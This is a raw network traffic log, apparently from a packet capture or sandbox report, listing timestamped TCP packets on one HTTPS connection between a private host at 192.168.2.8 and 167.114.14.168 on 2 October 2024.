Oct 2, 2024 06:11:49.275175095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.275182962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.275208950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.275232077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.289269924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.289288998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.289330959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.289338112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.289369106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.289388895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.303554058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.303574085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.303639889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.303649902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.303694963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.321513891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.321531057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.321604013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.321635962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.321645021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.321697950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.321954966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.321971893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.322024107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.322030067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.322060108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.322164059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.322182894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.322221041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.322228909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.322257042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.323060989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323077917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323121071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.323127031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323158979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.323846102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323867083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323903084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.323909998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.323925018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.324258089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.324273109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.324317932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.324325085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.324337006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.325082064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.325110912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.325153112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.325160027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.325210094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.377830029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.381027937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.381046057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.381102085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.381110907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.381778002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.381795883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.381845951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.381855965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.382246017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.382878065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.382904053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.382962942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.382962942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.382971048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.383012056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.383567095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.383589983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.383634090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.383644104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.384180069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.384200096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.384233952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.384242058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.384252071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.384284973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.399862051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.399879932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.399924994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.399935007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.399971962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.399991035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400469065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400490999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400540113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400548935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400580883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400600910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400793076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400810957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400850058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400856018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.400890112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.400913000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.472028971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472049952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472146988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.472167015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472213030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.472578049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472594976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472630024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.472637892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.472660065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.472690105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.473611116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.473628044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.473675966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.473683119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.473721981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474261999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474277973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474318981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474324942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474340916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474369049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474883080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474899054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474937916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474944115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.474967003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.474987030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.476857901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.490475893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.490497112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.490577936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.490586996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.490632057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.491074085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491091013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491144896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.491152048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491204977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.491676092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491697073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491800070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.491808891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.491821051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.491852045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.562783003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.562825918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.562877893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.562887907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.562932968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.562947035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.563071012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.563087940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.563141108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.563147068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.563195944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.564258099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.564285040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.564335108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.564342976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.564357042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.564385891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565015078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565032005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565076113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565083027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565102100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565126896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565509081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565527916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565566063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565572023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.565589905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.565612078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.581435919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581458092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581502914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.581511974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581547976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.581563950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.581887007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581904888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581954956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.581963062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.581998110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.582015991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.582357883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.582375050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.582421064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.582427979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.582458019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.582480907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.653347969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.653371096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.653431892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.653460979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.653472900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.653527021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.653923988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.653944969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.653978109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.653985023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.654016972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.654040098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.654953957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.654972076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.655015945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.655024052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.655076027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.655608892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.655626059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.655700922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.655709028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.655750036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.656243086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.656260967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.656301022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.656310081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.656332016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.656357050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.672281981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672302008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672367096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.672378063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672421932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.672775984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672792912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672849894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.672858000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.672899961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.673121929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.673140049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.673209906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.673217058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.673270941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744138002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744159937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744213104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744225979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744241953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744266987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744743109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744762897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744798899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744807005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.744831085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.744862080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.745634079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.745651960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.745687962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.745695114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.745721102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.745738029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.746218920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746237993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746289968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.746296883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746335030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.746810913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746829033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746864080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.746870041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.746922016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.746922016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.763473988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.763494015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.763592005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.763598919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.763645887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764044046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764062881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764110088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764117956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764147043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764166117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764322996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764343977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764381886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764389038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.764419079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.764434099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.834954977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.834975958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.835033894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.835052013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.835100889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.835416079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.835434914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.835485935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.835494041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.835503101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.835530043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.836378098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.836395979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.836435080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.836442947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.836473942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.836498976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837044954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837060928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837105989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837114096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837131977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837156057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837541103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837557077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837594986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837603092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.837630987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.837654114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854125977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854147911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854264021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854264021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854275942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854338884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854618073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854634047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854681969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854688883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854729891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854729891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854903936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854921103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.854963064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.854970932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.855015039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.855015039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.925702095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.925767899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.925836086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.925859928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.925904989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.925904989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.926146984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.926170111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.926208973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.926218033 CEST	443	49723	167.114.14.168	192.168.2.8
